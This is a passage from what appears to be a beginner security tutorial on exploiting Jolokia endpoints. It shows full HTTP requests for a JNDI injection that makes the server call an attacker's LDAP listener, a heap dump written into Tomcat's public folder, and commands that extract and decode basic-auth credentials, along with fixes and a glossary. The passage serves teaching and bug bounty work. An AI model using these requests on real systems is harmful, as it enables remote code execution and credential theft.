Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
{
"type" : "read",
"mbean" : "java.lang:type=Memory",
"target" : {
"url" : "service:jmx:rmi:///jndi/ldap://YourServer:1389/o=tomcat"
}
}
Line by line:
POST /jolokia/read/getDiagnosticOptions HTTP/1.1is the request line: the method (POST, sending data), the path on the server, and the version of the HTTP protocol, the language browsers and servers use to talk.Host: YourTargetnames the site being contacted.User-Agentidentifies the browser; here it claims to be Firefox on a Mac.Acceptlists the kinds of content the client will accept.Accept-Languagesays which languages are preferred.Accept-Encodingsays which compression formats are understood.Connection: closeasks the server to close the connection after answering.Upgrade-Insecure-Requests: 1is a standard browser hint asking the server to prefer secure connections.Content-Type: application/x-www-form-urlencodeddescribes the format of the body.Content-Length: 175states how many bytes the body contains.- After the blank line comes the body, in JSON.
typeisread, so this is a read operation;mbeannamesjava.lang:type=Memory, the memory MBean; andtarget.urlpoints at the attacker's LDAP server on port 1389, witho=tomcatnaming the entry to look up.
Change the address and the LDAP endpoint so the request actually reaches your own server. After sending it, you should see a connection arrive on the netcat listener. If you get that far, you have successfully run remote code execution on the Jolokia server.
Step 3: downloading the server's memory (information disclosure)
Information disclosure means a system gives away data it should have kept private. This last technique is not well documented and has no public CVE. Using the MBean com.sun.management:type=HotSpotDiagnostic it is possible to make a heap dump of the running Java process. The heap is the area of memory where Java keeps the objects it creates while running; a heap dump is a file containing a copy of everything in that memory at that moment. New objects are always created in heap space, and references to them are kept in stack memory, a separate, smaller area. Depending on what happens to be in memory, a dump can contain very sensitive material.
The dumpHeap operation in Jolokia also lets the caller say where to save the dump file. An attacker can control that argument and choose any path on the disk. In this example the file is written into the ROOT folder of the Tomcat server, the folder whose contents are served to the public, so the dump becomes downloadable by anyone.
Send this request in Burp Suite or any other intercepting proxy:
POST /jolokia/ HTTP/1.1
Host: [redacted]:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
{
"type":"EXEC",
"mbean":"com.sun.management:type=HotSpotDiagnostic",
"operation":"dumpHeap",
"arguments":["/opt/tomcat/webapps/ROOT/test1.hprof",0]
}
The headers are the same kind as before; Host here is the practice server's own address and port. The body is again JSON: type is EXEC, meaning run an operation; mbean names the diagnostic MBean; operation is dumpHeap, the operation that writes the dump; and arguments supplies two values, the file path /opt/tomcat/webapps/ROOT/test1.hprof and 0. The path is inside the public web folder.
This creates a file called test1.hprof in the default Tomcat folder /opt/tomcat/webapps/ROOT/. The file can then be downloaded by browsing to https://<target>/jolokia/test1.hprof. Depending on how busy the server is, the file may be several hundred megabytes and take a while to download.
Once downloaded, a tool such as VisualVM can open it. VisualVM is a free program for inspecting Java applications. Open it, click File then Load File, and choose the HPROF file; HPROF is the standard file format for these dumps. You are shown a summary of what the dump contains: classes, objects and so on. Because dumps hold an enormous amount of data, VisualVM lets you filter for keywords. Favourites in penetration tests and bug bounties are secret, authentication, bearer and similar. In this example it was possible to find the basic authentication credentials for the Tomcat server.
The same can be done from the terminal with tools that are already installed:
cat test1.hprof | strings | grep authorization:
cat prints the file; strings pulls out readable text from binary data; grep authorization: keeps only the lines containing that word. The result is:
authorization:Basic YWRtaW46cGFzc3dvcmQ==
This is an HTTP header of the kind a browser sends when logging in with basic authentication. The part after Basic is the username and password joined by a colon and then encoded in Base64. Base64 is a way of writing any data using only letters, digits and a few symbols; it is not encryption, just a different alphabet, so anyone can reverse it. Decode it with:
echo YWRtaW46cGFzc3dvcmQ== | base64 -d
base64 -d means decode. The output is the username and password pair admin:password, the credentials created earlier in the tutorial.
With credentials taken from a dump, an attacker would log in to the Tomcat management interface, deploy their own WAR files and most likely achieve remote code execution.
Why it works
Three separate weaknesses are at play.
- Reflected XSS (CVE-2018-1000129). The
mimeTypesetting was accepted without restriction, so an attacker could set it totext/htmland have the browser render the JSON answer as a web page. The payload in the path was then run as JavaScript. The fix limits the accepted types totext/plainandapplication/json. - JNDI injection (CVE-2018-1000130). In proxy mode, the agent accepts a
target.urlin the request and looks it up through JNDI. Combined with an unsafe reflection inorg.apache.naming.factory.BeanFactory, a reference to an attacker-controlled LDAP server leads to arbitrary Java code running on the server. The CVE describes the flaw as affecting agent version 1.3.7 in proxy mode. - Heap dump path control. The
dumpHeapoperation ofcom.sun.management:type=HotSpotDiagnosticaccepts a file path, and Jolokia lets the caller supply it. Writing the dump into the public web folder turns an internal diagnostic into a downloadable file containing whatever was in memory, including credentials.
In all three cases the design assumes that untrusted users cannot reach the Jolokia endpoint. Public access should be blocked, but the researcher found plenty of exposed instances, so that assumption did not hold.
What an attacker gains
The impact depends on which issue is present and on the version and setup encountered.
- The reflected XSS is demonstrated with a payload that calls
alert(document.cookie). - The JNDI injection lets a remote attacker run arbitrary Java code on the server, as the CVE description states. In the demonstration the proof is an outgoing
curlconnection to the attacker's listener. - The heap dump reveals whatever is in the Java memory. In the demonstration it exposed the Tomcat basic authentication credentials, which an attacker would use to log in to the management interface, deploy WAR files and most likely achieve remote code execution.
Across multiple targets these issues earned the researcher $33,500 in bounties. Exploitation may vary by version and setup, though most bugs were confirmed without problems in the researcher's tests.
How to fix it
For the XSS, the fix described is to allow only the mime types text/plain and application/json, which prevents attacks that use JavaScript. For the other two issues the article does not describe a code change; the practical control it points to is that public access to the Jolokia endpoint should be blocked. The researcher also warns against simple credentials such as admin and password on a publicly reachable server, since a heap dump can expose them.
Things to try on your own
- Check the version. Request
/jolokia/versionand readvalue.agent. A useful result is a version matching the CVE description you want to try, for example1.3.4in the researcher's environment. - List the MBeans. Request
/jolokia/list/and look for MBeans that accept URL objects or file paths. A useful result is a list containing entries such asjava.lang:type=Memoryorcom.sun.management:type=HotSpotDiagnostic. - Override the mime type. Request the read path with
?mimeType=text/htmland an HTML payload in the path. A useful result is the browser running the payload, for example an alert showingdocument.cookie. - Try the JNDI proxy. Send a
readagainstjava.lang:type=Memorywith atarget.urlpointing at your own LDAP listener. A useful result is a connection arriving on your listener from the target. - Write a heap dump to the web folder. Send an
EXECofdumpHeapwith a path inside the public folder, then fetch the file over HTTP. A useful result is a downloadable.hproffile; filter it forsecret,authenticationorbearer, or grep forauthorization:. - Look at debug mode and paths. Check the
versionanswer fordebugset totrueand forpolicyLocation, which reveals the Tomcat installation path and saves guessing. - Include actuator combinations. Add
/actuatorcombinations to your directory scan alongside/jolokiaand/jolokia/list, and check port 8080 on Tomcat installations.
Glossary
- API: a defined way for one program to ask another to do something, like a menu of requests a service accepts.
- Attribute: a named value belonging to an MBean that can be read or written.
- Base64: an encoding that turns any data into letters, digits and a few symbols; it hides nothing and is easily reversed.
- Basic authentication: a simple login method where the browser sends the username and password, encoded, with every request.
- Bug bounty: a scheme where organisations pay people who find and report security problems in their systems.
- Burp Suite: a tool that sits between your browser and a website so you can inspect and edit requests.
- Cookie: a small piece of data a website stores in your browser, often used to remember that you are logged in.
- Cross-site scripting (XSS): a flaw that lets an attacker run their own JavaScript in someone else's browser on a trusted site.
- CVE: a public catalogue entry describing one known security vulnerability, including which versions are affected.
- Debug mode: a troubleshooting setting that makes software reveal extra detail about itself.
- Directory service: a network service that maps names to details, like a phone book.
- ffuf / dirsearch: tools that try many web addresses against a target to discover which exist.
- GET / POST: the two most common request methods; GET asks for something with details in the address, POST sends data in the body.
- Heap: the area of memory where Java keeps the objects it creates while running.
- Heap dump: a file containing a copy of everything in a program's memory at one moment.
- HPROF: the standard file format for Java heap dumps.
- HTTP: the language browsers and web servers use to exchange requests and responses.
- Information disclosure: a flaw that gives away data the system should have kept private.
- Intercepting proxy: a program that sits between your browser and a target so you can see and change each request.
- IPv4 / IPv6: the old and new schemes for numbering devices on the internet.
- Java: a programming language and runtime used for many server applications.
- JavaScript: the programming language browsers run to make web pages interactive.
- JNDI: Java Naming and Directory Interface, a Java feature for looking things up in directory services.
- Jolokia: a bridge that exposes Java management operations over HTTP using JSON.
- JSON: a text format for structured data, built from name and value pairs.
- jq: a command-line tool that reformats JSON so it is readable.
- Latency: the delay in sending data back and forth over a network.
- LDAP: a common kind of directory service.
- MBean: a Managed Bean, a labelled control panel for one part of a Java system, with readable or writable attributes and invokable operations.
- Maven: a tool that fetches a Java project's libraries and builds it.
- MIME type: a label on a response saying what kind of content it is, such as plain text or a web page.
- Netcat (nc): a tool that reads and writes network connections, often used to wait for incoming ones.
- Payload: the part of an attack that does the damage, such as the code or command being delivered.
- Penetration test: an authorised assessment in which a tester tries to break into a system to find its weaknesses.
- Port: a numbered doorway on a computer through which one service listens.
- Proxy mode: a Jolokia setting in which the agent forwards requests to another Java process.
- Reflection: a Java feature that lets code create and call things by name at runtime.
- Reflected XSS: cross-site scripting where the malicious input is echoed straight back in the response rather than stored.
- Remote code execution (RCE): a flaw that lets an attacker make the target computer run commands of their choosing.
- RMI: Remote Method Invocation, Java's way of calling code on another machine.
- Role: a label that grants a set of permissions to an account.
- Rogue JNDI: a tool that runs a fake directory server to deliver malicious answers in a JNDI injection attack.
- SSH: a way to log in to a machine remotely through a text terminal.
- SSH key: a long file that proves your identity when logging in, instead of a password.
- SVG: an image format written in the same markup language as web pages.
- Tomcat: a program that serves Java web applications.
- Ubuntu: a free Linux operating system.
- URL: an address, such as the address of a web page or of a directory lookup.
- Virtual machine: a computer simulated inside your real computer, behaving like a separate machine.
- VisualVM: a free program for inspecting Java applications and heap dumps.
- VPS: a virtual private server, a computer you rent in a data centre and control completely.
- WAR file: a packaged Java web application, the Java equivalent of a zip file containing a small website.